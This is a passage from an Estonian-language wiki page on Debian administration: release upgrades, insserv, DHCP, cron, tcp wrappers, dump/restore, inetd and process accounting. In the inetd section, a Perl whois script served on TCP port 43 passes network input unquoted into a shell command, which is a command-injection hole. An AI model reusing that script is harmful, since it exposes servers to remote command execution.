 lrwxrwxrwx 1 root root     11 Feb  3 14:18 a376ee62.0 -&amp;gt; Juur-LOOMAAED.pem&lt;br /&gt;
&lt;br /&gt;
ning lisatakse ta suurfaili /etc/ssl/certs/ca-certificates.crt.&lt;br /&gt;
&lt;br /&gt;
===Debian v. 4 Etch -&amp;gt; v. 5 Lenny uuendamine===&lt;br /&gt;
&lt;br /&gt;
Kui sources.list failis lenny kasutamise järel apt-get update ütleb vea&lt;br /&gt;
&lt;br /&gt;
  W: There is no public key available for the following key IDs:&lt;br /&gt;
  4D270D06F42584E6&lt;br /&gt;
  W: You may want to run apt-get update to correct these problems&lt;br /&gt;
&lt;br /&gt;
siis aitab paigaldada debian-archive-keyring pakett&lt;br /&gt;
&lt;br /&gt;
  # apt-get install debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
Kui kasutusel on uuemad bnx2 draiveriga käivad võrgukaardid, siis tuleb jälgida, et oleks paigaldatud pakett firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
  # apt-get install firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
===Debian v. 5 Lenny -&amp;gt; v. 6 Squeeze uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 5.0 -&amp;gt; v. 6.0) juhend asub aadresil http://www.debian.org/releases/squeeze/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Uuendamise on oluline tähele panna järgmisi asjaolusid&lt;br /&gt;
&lt;br /&gt;
* asutakse kasutama dash shelli nö süsteemse shellina, mh tähendab see, et /bin/sh -&amp;gt; bash asemel on&lt;br /&gt;
&lt;br /&gt;
 $ ls -l /bin/sh &lt;br /&gt;
 lrwxrwxrwx 1 root root 4 Dec 26  2010 /bin/sh -&amp;gt; dash&lt;br /&gt;
&lt;br /&gt;
* asuda uuendama süsteemi, millele on kõik Lenny uuendused rakendatud&lt;br /&gt;
* asendatakse legacy GRUB GRUB2 alglaaduriga, vajadusel anda pärast uuendust töötavas Squeeze süsteemis käsk upgrade-from-grub-legacy&lt;br /&gt;
* veenduda enne uuendamise protseduuri, et failisüsteemis on piisavalt vaba ruumi&lt;br /&gt;
* asutakse bootloaderis kasutama failisüsteemide plokkseadmetele vastavaid UUID väärtusi&lt;br /&gt;
* eemdalda paketihaldusest mitte paigaldatud tarkvara (nt VMWare Tools)&lt;br /&gt;
* eemaldada /etc/ alt nö käsitsi lisatud start-up skriptid, mis võivad segada automaatset süsteemi migreerimist kasutama insserv käivitusskripte&lt;br /&gt;
&lt;br /&gt;
====Uuendamise protseduur====&lt;br /&gt;
&lt;br /&gt;
* veenduda, et on olemas süsteemist varukoopia&lt;br /&gt;
* rakendada paketihaldusest uuendused vanale süsteemile&lt;br /&gt;
* teha seadistusfailidest koopia, et oleks mugav võrrelda&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc /root/etc-20110522-tootanud-lenny&lt;br /&gt;
 # cp -a /boot /root/boot-20110522-tootanud-lenny&lt;br /&gt;
&lt;br /&gt;
* eemaldada paketihaldusest mitte paigaldatud tarkvara, nt&lt;br /&gt;
&lt;br /&gt;
 # vmware-uninstall.pl&lt;br /&gt;
&lt;br /&gt;
* kasutada /etc/apt/sources.list faili sisuga, uuendamise ajal on security välja kommenteeritud&lt;br /&gt;
&lt;br /&gt;
 deb http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 deb-src http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 # deb http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 # deb-src http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get dist-upgrade -d&lt;br /&gt;
&lt;br /&gt;
* kasutada script'i esitatud küsimuste-vastuste-teadete salvestamiseks, mis töötab üldiselt nii&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
 Script started, file is /root/upgrade-squeezestep.script&lt;br /&gt;
 # date&lt;br /&gt;
 ...&lt;br /&gt;
 # Ctrl-D&lt;br /&gt;
 Script done, file is /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
script tööga kaasneb kaks protsessi&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep scr&lt;br /&gt;
 root      4960  0.0  0.0   5848   572 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
 root      4961  0.0  0.0   5852   460 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* käivitada script abil salvestamine&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* uuendada tuum ja udev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-image-2.6-amd64&lt;br /&gt;
&lt;br /&gt;
Seejuures pakutakse ja võiks aktsepteerida plokkseadmete UUID väärtuste kasutamist.&lt;br /&gt;
&lt;br /&gt;
 # apt-get install udev&lt;br /&gt;
&lt;br /&gt;
* vajadusel paigaldada non-free firmware draiverid öeldes (nt bnx 10g seadme jaoks)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install firmware-linux-nonfree&lt;br /&gt;
&lt;br /&gt;
* veenduda, et /boot/grub/menu.lst algaadib uue tuumaga, /etc/fstab ühendab külge sobivad failisüsteemid ja alglaadida süsteem&lt;br /&gt;
* veenduda, et failisüsteemis on piisavalt ruumi, käivitada script ja paigaldada muud süsteemi uuendused&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/dist-upgrade-squeezestep.time -a ~/dist-upgrade-squeezestep.script&lt;br /&gt;
 # apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
* dash shelli kasutamiseks öeldakse&lt;br /&gt;
&lt;br /&gt;
 The system shell is the default command interpreter for shell scripts.&lt;br /&gt;
 &lt;br /&gt;
 Using dash as the system shell will improve the system's overall performance. It does not alter the shell&lt;br /&gt;
 presented to interactive users. Use dash as the default system shell (/bin/sh)? &lt;br /&gt;
&lt;br /&gt;
* dist-upgrade käigus üritatakse migreerida dependecy-based insserv käivitusskriptidele&lt;br /&gt;
&lt;br /&gt;
 The boot system is prepared to migrate to dependency-based sequencing. This is an irreversible step, but one that is recommended:   &lt;br /&gt;
 it allows the boot process to be optimized for speed and efficiency, and provides a more resilient framework for development.        &lt;br /&gt;
 &lt;br /&gt;
 A full rationale is detailed in /usr/share/doc/sysv-rc/README.Debian. If you choose not to migrate now, you can do so later by&lt;br /&gt;
 running &amp;quot;dpkg-reconfigure sysv-rc&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 Migrate legacy boot sequencing to dependency-based sequencing?&lt;br /&gt;
&lt;br /&gt;
* Uuendamisel tuleb kasutaja poolt muudetud seadistusfailid lasta uute nn package maintainer versiooniga üle kirjutada ja pärast muudatused käsitsi kohendada, nimekirja muudetud failidest näeb nt nii&lt;br /&gt;
&lt;br /&gt;
 # grep &amp;quot;Configuration file&amp;quot; dist-upgrade-squeezestep.script&lt;br /&gt;
 Configuration file `/etc/security/limits.conf'&lt;br /&gt;
 Configuration file `/etc/nagios/nrpe.cfg'&lt;br /&gt;
 Configuration file `/etc/sysctl.conf'&lt;br /&gt;
 Configuration file `/etc/rsyslog.conf'&lt;br /&gt;
 Configuration file `/etc/ssh/ssh_config'&lt;br /&gt;
 Configuration file `/etc/apache2/apache2.conf'&lt;br /&gt;
 Configuration file `/etc/apache2/ports.conf'&lt;br /&gt;
 Configuration file `/etc/joe/joerc'&lt;br /&gt;
 Configuration file `/etc/snmp/snmpd.conf'&lt;br /&gt;
 Configuration file `/etc/default/snmpd'&lt;br /&gt;
&lt;br /&gt;
kusjuures asendatud failst salvestatakse reeglina koopia nimele lisades lõppu .dpkg-old, nt&lt;br /&gt;
&lt;br /&gt;
 /etc/snmp/snmpd.conf.dpkg-old&lt;br /&gt;
&lt;br /&gt;
st ülekirjutatud failid leiab nt nii&lt;br /&gt;
&lt;br /&gt;
 # find /etc/ -name \*-old&lt;br /&gt;
&lt;br /&gt;
* vmware tools kompileerimise asemel on alternatiiv kasutada paketti open-vm-tools, kasutaja peab ise otsustama mida eelistada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install open-vm-tools&lt;br /&gt;
 ...&lt;br /&gt;
 Loading open-vm-tools modules: vmhgfsFATAL: Module vmhgfs not found.&lt;br /&gt;
  vmmemctlFATAL: Module vmmemctl not found.&lt;br /&gt;
  vmsyncFATAL: Module vmsync not found.&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # dpkg-reconfigure sysv-rc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda (kui uuendatavas süsteemis mingil põhjusel oli alglaadur paigaldamata paketihaldusest)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install grub-pc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # upgrade-from-grub-legacy&lt;br /&gt;
&lt;br /&gt;
* kasutuses mitte olevate pakettide eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # apt-get autoremove&lt;br /&gt;
&lt;br /&gt;
* eemaldada /etc/apt/sources.list failid security eest kommentaarid ja rakendada uuendused&lt;br /&gt;
* kohendada käsitsi paketihaldusest uuendamise käigus vaikeväärtustega asendatud seadistusfailid&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* kui uuendamine peatub seetõttu, et mõne nö ebaolulise programmi käivitusskript ei tööta, siis sobib vastav pakett eemaldada, kui ka see ei õnnestu, siis võiks proovida käivitusskripti sisu asendada millegagi, mis formaalselt toimib, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nagios3 &lt;br /&gt;
 #! /bin/sh&lt;br /&gt;
 exit 0;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 6 Squeeze &amp;gt; v. 7 Wheezy uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 6.0 -&amp;gt; v. 7.0) juhend asub aadresil http://www.debian.org/releases/stable/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Debian v. 7 Wheezy GRUB2 versiooni on number selline&lt;br /&gt;
&lt;br /&gt;
 GNU GRUB  version 1.99-27+deb7u1&lt;br /&gt;
&lt;br /&gt;
Kui 2015 kevadel öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 Hit http://ftp.ee.debian.org wheezy Release.gpg&lt;br /&gt;
 ...&lt;br /&gt;
 Reading package lists... Done                     &lt;br /&gt;
 W: There is no public key available for the following key IDs:&lt;br /&gt;
 7638D0442B90D010&lt;br /&gt;
&lt;br /&gt;
siis aitab&lt;br /&gt;
&lt;br /&gt;
 # apt-get install debian-keyring debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
===Debian v. 8 Jessie -&amp;gt; v. 9 Stretch uuendamine===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi uuendus toimub nagu tavaliselt, kuid viimaks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # aptitude search ?obsolete&lt;br /&gt;
 # aptitude purge ?obsolete&lt;br /&gt;
&lt;br /&gt;
MySQL -&amp;gt; MariaDB uuendus toimub üldiselt automaatselt, aga sobib lõpus öelda (vt ligipääs failist /etc/mysql/debian.cnf)&lt;br /&gt;
&lt;br /&gt;
 # mysql_upgrade -h localhost -u debian-sys-maint -pparool&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/releases/stretch/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
* https://www.auul.pri.ee/wiki/MySQL_andmebaasi_kasutamine_operatsioonis%C3%BCsteemiga_Debian#Andmebaasi_uuendamine_MySQL_v._5.5_-.3E_MariaDB_v._10.1&lt;br /&gt;
&lt;br /&gt;
===insserv käivitussüsteemi kasutamine===&lt;br /&gt;
 &lt;br /&gt;
Debian Squeeze v. 6.0 kasutab nn System-V-like käivitusskripte, kusjuures nende tööd saab seadistada insserv tarkvaraga&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nfsen &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 set -e&lt;br /&gt;
 &lt;br /&gt;
 ### BEGIN INIT INFO&lt;br /&gt;
 # Provides:             nfsen&lt;br /&gt;
 # Required-Start:       $local_fs $remote_fs $network $time&lt;br /&gt;
 # Required-Stop:        $local_fs $remote_fs $network $time&lt;br /&gt;
 # Should-Start:         $syslog&lt;br /&gt;
 # Should-Stop:          $syslog&lt;br /&gt;
 # Default-Start:        2 3 4 5&lt;br /&gt;
 # Default-Stop:         0 1 6&lt;br /&gt;
 # Short-Description:    NfSen Server&lt;br /&gt;
 ### END INIT INFO&lt;br /&gt;
 &lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 case &amp;quot;$1&amp;quot; in&lt;br /&gt;
   start)&lt;br /&gt;
     echo &amp;quot;Starting NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen start&lt;br /&gt;
     ;;&lt;br /&gt;
   stop)&lt;br /&gt;
     echo &amp;quot;Stopping NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen stop&lt;br /&gt;
     ;;&lt;br /&gt;
   *)&lt;br /&gt;
      echo &amp;quot;Usage: /etc/init.d/nfsen {start|stop}&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
 esac&lt;br /&gt;
 exit 0&lt;br /&gt;
&lt;br /&gt;
/etc/rc3.d jt rc kataloogide alla tekivad lingid öeldes&lt;br /&gt;
&lt;br /&gt;
 # insserv nfsen&lt;br /&gt;
&lt;br /&gt;
Käivitusskriptile linkide eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # insserv -r nfsen&lt;br /&gt;
&lt;br /&gt;
Lisaks -n võtme lisamine ainult näitab, mis toimuks&lt;br /&gt;
&lt;br /&gt;
 # insserv -n -d nfsen&lt;br /&gt;
&lt;br /&gt;
Required-Start: rea lõppu lisades nt 'postgresql' tulemusena käivitatakse kõnealune programm peale PostgreSQL andmebaasi.&lt;br /&gt;
&lt;br /&gt;
Lisamaterjalid:&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts/DependencyBasedBoot&lt;br /&gt;
&lt;br /&gt;
===Dhcpd serveri kasutamine===&lt;br /&gt;
&lt;br /&gt;
ISC DHCP tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dhcp3-server&lt;br /&gt;
&lt;br /&gt;
DHCP serveri tööd juhib seadistusfail, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/dhcp/dhcpd.conf&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 shared-network auul {&lt;br /&gt;
   option domain-name &amp;quot;auul&amp;quot;;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 &lt;br /&gt;
   subnet 192.168.50.0 netmask 255.255.255.0 {&lt;br /&gt;
     range 192.168.50.200 192.168.50.224;&lt;br /&gt;
     option routers 192.168.50.10;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Lisaks näidatakse failis /etc/default/isc-dhcp-server millistel võrguseadmetel teenust pakutakse&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/isc-dhcp-server&lt;br /&gt;
 ...&lt;br /&gt;
 INTERFACES=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DHCP serveri käivitab skript&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/isc-dhcp-server stop|start&lt;br /&gt;
&lt;br /&gt;
===At tööd===&lt;br /&gt;
&lt;br /&gt;
Töö tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;quot;date &amp;gt;&amp;gt; /tmp/test.log&amp;quot; | at -t 201509250950&lt;br /&gt;
&lt;br /&gt;
Tööde nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atq&lt;br /&gt;
 10      Fri Sep 25 09:50:00 2015 a imre&lt;br /&gt;
&lt;br /&gt;
Tehtud tööd eemaldatakse automaatselt, tuleviku tööde eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atrm 10&lt;br /&gt;
&lt;br /&gt;
Töö sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ at -c 10&lt;br /&gt;
&lt;br /&gt;
===Cron tööd===&lt;br /&gt;
&lt;br /&gt;
Debiani cron töid juhivad sellised seadistusfailid&lt;br /&gt;
&lt;br /&gt;
* /etc/crontab&lt;br /&gt;
* /etc/cron.d - kataloogis sisalduvaid faile käsitletakse cron kirjeldusfailidena, /etc/crontab formaadis (st sisaldub user väli)&lt;br /&gt;
* /etc/cron.daily&lt;br /&gt;
* /etc/cron.hourly&lt;br /&gt;
* /etc/cron.monthly&lt;br /&gt;
* /etc/cron.weekly&lt;br /&gt;
* /var/spool/cron/kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* man cron&lt;br /&gt;
&lt;br /&gt;
===Anacron===&lt;br /&gt;
&lt;br /&gt;
Anacron http://anacron.sourceforge.net/ ...&lt;br /&gt;
&lt;br /&gt;
===tcp wrapper teegi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Paljud Debiani programmid on kompileeritud vastu libwrap teeki, mis tähendab, et nende tööd saab kontrollida /etc/hosts.allow ja /etc/hosts.deny failidest. Nt nrpe deemoni puhul selleks, et lubada ligipääsu võrgust 172.18.20.0/24 sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.allow&lt;br /&gt;
 nrpe: 172.18.20.0/24&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.deny&lt;br /&gt;
 nrpe: ALL&lt;br /&gt;
&lt;br /&gt;
Seadistustes tehtud muudatused kehtestuvad kohe, midagi ei ole vaja reloadida ega restartida. Seda kas programm on kompileeritud vastu librwap teeki saab küsida&lt;br /&gt;
&lt;br /&gt;
 # ldd /usr/sbin/nrpe | grep libwrap&lt;br /&gt;
 libwrap.so.0 =&amp;gt; /lib/libwrap.so.0 (0x00007fd00518b000)&lt;br /&gt;
&lt;br /&gt;
===dump ja restore kasutamine===&lt;br /&gt;
&lt;br /&gt;
Dump faili moodustamiseks&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/lvmkoitenimi&lt;br /&gt;
 # dump -0uf /tmp/failinimi.dump /dev/system/lvmkoitenimi&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Dumping /dev/system/lvmkoitenimi (an unlisted file system) to /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Label: none&lt;br /&gt;
  DUMP: Writing 10 Kilobyte records&lt;br /&gt;
  DUMP: mapping (Pass I) [regular files]&lt;br /&gt;
  DUMP: mapping (Pass II) [directories]&lt;br /&gt;
  DUMP: estimated 66671 blocks.&lt;br /&gt;
  DUMP: Volume 1 started with block 1 at: Tue Jul 12 23:45:47 2011&lt;br /&gt;
  DUMP: dumping (Pass III) [directories]&lt;br /&gt;
  DUMP: dumping (Pass IV) [regular files]&lt;br /&gt;
  DUMP: Closing /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Volume 1 completed at: Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Volume 1 66500 blocks (64.94MB)&lt;br /&gt;
  DUMP: Volume 1 took 0:00:01&lt;br /&gt;
  DUMP: Volume 1 transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: 66500 blocks (64.94MB) on 1 volume(s)&lt;br /&gt;
  DUMP: finished in 1 seconds, throughput 66500 kBytes/sec&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Date this dump completed:  Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Average transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: DUMP IS DONE&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -0 - tekitada full dump&lt;br /&gt;
* -u - kirjutada tegevuse kohta jälg /var/lib/dumpdates faili&lt;br /&gt;
* -f - salvestada dump näidatud faili&lt;br /&gt;
&lt;br /&gt;
Dump failist taastamiseks&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/system/lvmkoitenimi_2 /mnt/lvmkoitenimi_2&lt;br /&gt;
 # cd /mnt/lvmkoitenimi_2&lt;br /&gt;
 # restore -rf /tmp/failinimi.dump&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -r - taastada dumpis käesolevasse kataloogi, mis on kuhu on monteeritud tühi failisüsteem&lt;br /&gt;
* -f - kasutatav dump fail&lt;br /&gt;
&lt;br /&gt;
===inetd===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze paketihaldusest saab valida erinevaid inetd servereid, openbsd-inetd paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openbsd-inetd&lt;br /&gt;
&lt;br /&gt;
2011. aasta keskel v. 1.3.5 sisaldab libexec/Lookup.pm teeki, kuhu on sisse kirjutatud whois.cyberabuse.org serveri nimi, kuid see server ei paku enam sobival viisil teenust ning tulemuseks on, et NfSen liideses ei saa enam ip aadressidel teha päringuid. Üheks alternatiiviks on seadistada käima lokaalne whois teenus, nt ühendades 43/tcp port ja sellise Perli skripti sisend ja väljund kokku inetd abil&lt;br /&gt;
&lt;br /&gt;
 # cat /srv/data/nfsen/libexec/whois.pl &lt;br /&gt;
 #!/usr/bin/perl&lt;br /&gt;
 my $filename = &amp;lt;&amp;gt;;&lt;br /&gt;
 &lt;br /&gt;
 foreach $rida($filename) {&lt;br /&gt;
   $vastus=`/usr/bin/whois $rida`;&lt;br /&gt;
   print $vastus;&lt;br /&gt;
   last;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
ning kasutades /etc/inetd.conf seadisusfailis rida&lt;br /&gt;
&lt;br /&gt;
 43 stream tcp nowait nobody /srv/data/nfsen/libexec/whois.pl whois.pl&lt;br /&gt;
&lt;br /&gt;
whois päringute esitamise kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ whois -h 127.0.0.1 127.0.0.1&lt;br /&gt;
 .. &lt;br /&gt;
 NetRange:       127.0.0.0 - 127.255.255.255&lt;br /&gt;
 CIDR:           127.0.0.0/8&lt;br /&gt;
 OriginAS:       &lt;br /&gt;
 NetName:        SPECIAL-IPV4-LOOPBACK-IANA-RESERVED&lt;br /&gt;
 NetHandle:      NET-127-0-0-0-1&lt;br /&gt;
 Parent:         &lt;br /&gt;
 NetType:        IANA Special Use&lt;br /&gt;
&lt;br /&gt;
Kasutaja peab ise otsustama, kas talle selline lahendus sobib.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
http://www.telecom.otago.ac.nz/tele301/student_html/inetd-tcpwrappers.html&lt;br /&gt;
&lt;br /&gt;
===RPC portmapper===&lt;br /&gt;
&lt;br /&gt;
Debain Squeeze paketihaldusest saab valida erinevaid RPC portmap lahendusi, portmap paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install portmap&lt;br /&gt;
&lt;br /&gt;
Arvutis töötavate RPC teenuste nimekirja küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # rpcinfo -p hostname&lt;br /&gt;
&lt;br /&gt;
Tundub, et rpcbind toetab erinevalt portmap tarkvarast IPv6 protokolli.&lt;br /&gt;
&lt;br /&gt;
===Netlink socket===&lt;br /&gt;
&lt;br /&gt;
ip programm suhtleb tuumaga kasutades netlink socket'it, mis praktiliselt tähendab nt seda, et ip programmi saab kasutada chroot keskkonnast, kus pole /proc failisüsteemi külge monteeritud (erinevalt ifconfig programmist, mis kasutab /proc failisüsteemi).&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Netlink&lt;br /&gt;
* http://www.linuxjournal.com/article/7356?page=0,0&lt;br /&gt;
&lt;br /&gt;
===Process accounting===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi Debian Squeeze vaikimisi tuum võimaldab koguda process accountiga andmeid. Seda sobib teha nt acct paketi tarkvara abil, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install acct&lt;br /&gt;
&lt;br /&gt;
Tulemusena paigaldatakse muu hulgas sellised failid&lt;br /&gt;
&lt;br /&gt;
* /usr/bin/lastcomm&lt;br /&gt;
* /usr/bin/ac&lt;br /&gt;
* /usr/sbin/accton&lt;br /&gt;
* /usr/sbin/sa&lt;br /&gt;
* /usr/sbin/dump-utmp&lt;br /&gt;
* /usr/sbin/dump-acct&lt;br /&gt;
* /etc/cron.daily/acct&lt;br /&gt;
* /etc/init.d/acct&lt;br /&gt;
* /etc/default/acct&lt;br /&gt;
* /etc/cron.monthly/acct&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvutis töötavate protsesside kohta andmed kogunema hakkaksid, vaikimisi faili /var/log/account/pacct, tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # accton on | off&lt;br /&gt;
&lt;br /&gt;
Kogutud andmete esitamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # dump-acct /var/log/account/pacct | tail -n 5&lt;br /&gt;
 tail            |v3|     0.00|     0.00|     0.00|     0|     0|  4088.00|     0.00|   19856    19253|Mon Sep 19 20:34:56 2011&lt;br /&gt;
 cron            |v3|     0.00|     0.00|     1.00|     0|     0| 18832.00|     0.00|   19857     1138|Mon Sep 19 20:35:01 2011&lt;br /&gt;
 ssh             |v3|     0.00|     1.00|    75.00|     0|     0| 43192.00|     0.00|   19860    19633|Mon Sep 19 20:35:06 2011&lt;br /&gt;
 postgres        |v3|     0.00|     0.00|     2.00|   109|   113| 94272.00|     0.00|   19863     1395|Mon Sep 19 20:35:09 2011&lt;br /&gt;
 telnet          |v3|     0.00|     0.00|     3.00|  1000|  1000| 22680.00|     0.00|   19870    19865|Mon Sep 19 20:35:19 2011&lt;br /&gt;
&lt;br /&gt;
kus kuuendas tulbas on protsessi UID väärtus.&lt;br /&gt;
&lt;br /&gt;
===Passwords and encryption keys (Seahorse)===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mälu kasutamine===&lt;br /&gt;
&lt;br /&gt;
Arvuti mälu kasutamise kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 # free&lt;br /&gt;
              total       used       free     shared    buffers     cached&lt;br /&gt;
 Mem:        509172     501192       7980          0       3784     200248&lt;br /&gt;
 -/+ buffers/cache:     297160     212012&lt;br /&gt;
 Swap:      1048568      92568     956000&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* total (509172) - kogu RAM (miinus natuke kerneli tarvis)&lt;br /&gt;
* used (501192) - kokku kasutusel&lt;br /&gt;
* free (7980) - kokku vaba&lt;br /&gt;
* buffers (3784) - kasutusel mälust on nii palju kasutusel buffers all&lt;br /&gt;
* cached (200248) - kasutusel mälust on nii palju kasutusel failisüsteemi cache'ina&lt;br /&gt;
* teisel real on toodud arvutatud used ja free, mis vastavad sellele, kui buffers + cached oleks vastavalt maha lahutatud või juurde liidetud; selline vaade on õigustatud, kuna Linux tuum vajadusel kasutab failisüsteemi cache'iks olevat mälu ressurssi muuks tarbeks&lt;br /&gt;
&lt;br /&gt;
 297160 = 501192 - 3784 - 200248&lt;br /&gt;
 212012 = 7980 + 3784 + 200248&lt;br /&gt;
&lt;br /&gt;
st kasutatud mälu on tegelikult vähem kui näib ja vaba mälu on vastavalt samapalju rohkem kui näib.&lt;br /&gt;
&lt;br /&gt;
====Jõudlus====&lt;br /&gt;
&lt;br /&gt;
Arvuteid on valmistatud kasutes erinevaid tehnoloogiaid ja lisaks muudele erinevustele erinevad nad ka mälu kasutamise kiiruse poolest. Üks võimalus mälu kasutamise jõudlust hinnata nö sünteetilise testiga (st spetsiaalselt selleks tarbeks valmistatud programmo abil), nt&lt;br /&gt;
&lt;br /&gt;
* http://www.cs.virginia.edu/stream/&lt;br /&gt;
* https://github.com/gregs1104/stream-scaling&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb viimaselt lingilt kopeerida tar.gz fail, pakkida arhiiv lahti ning öelda&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling&lt;br /&gt;
&lt;br /&gt;
Tulemusena kompileeritakse programm, seejärel käivitatakse ning väljastatakse tulemus, nt&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling &lt;br /&gt;
 === CPU cache information ===&lt;br /&gt;
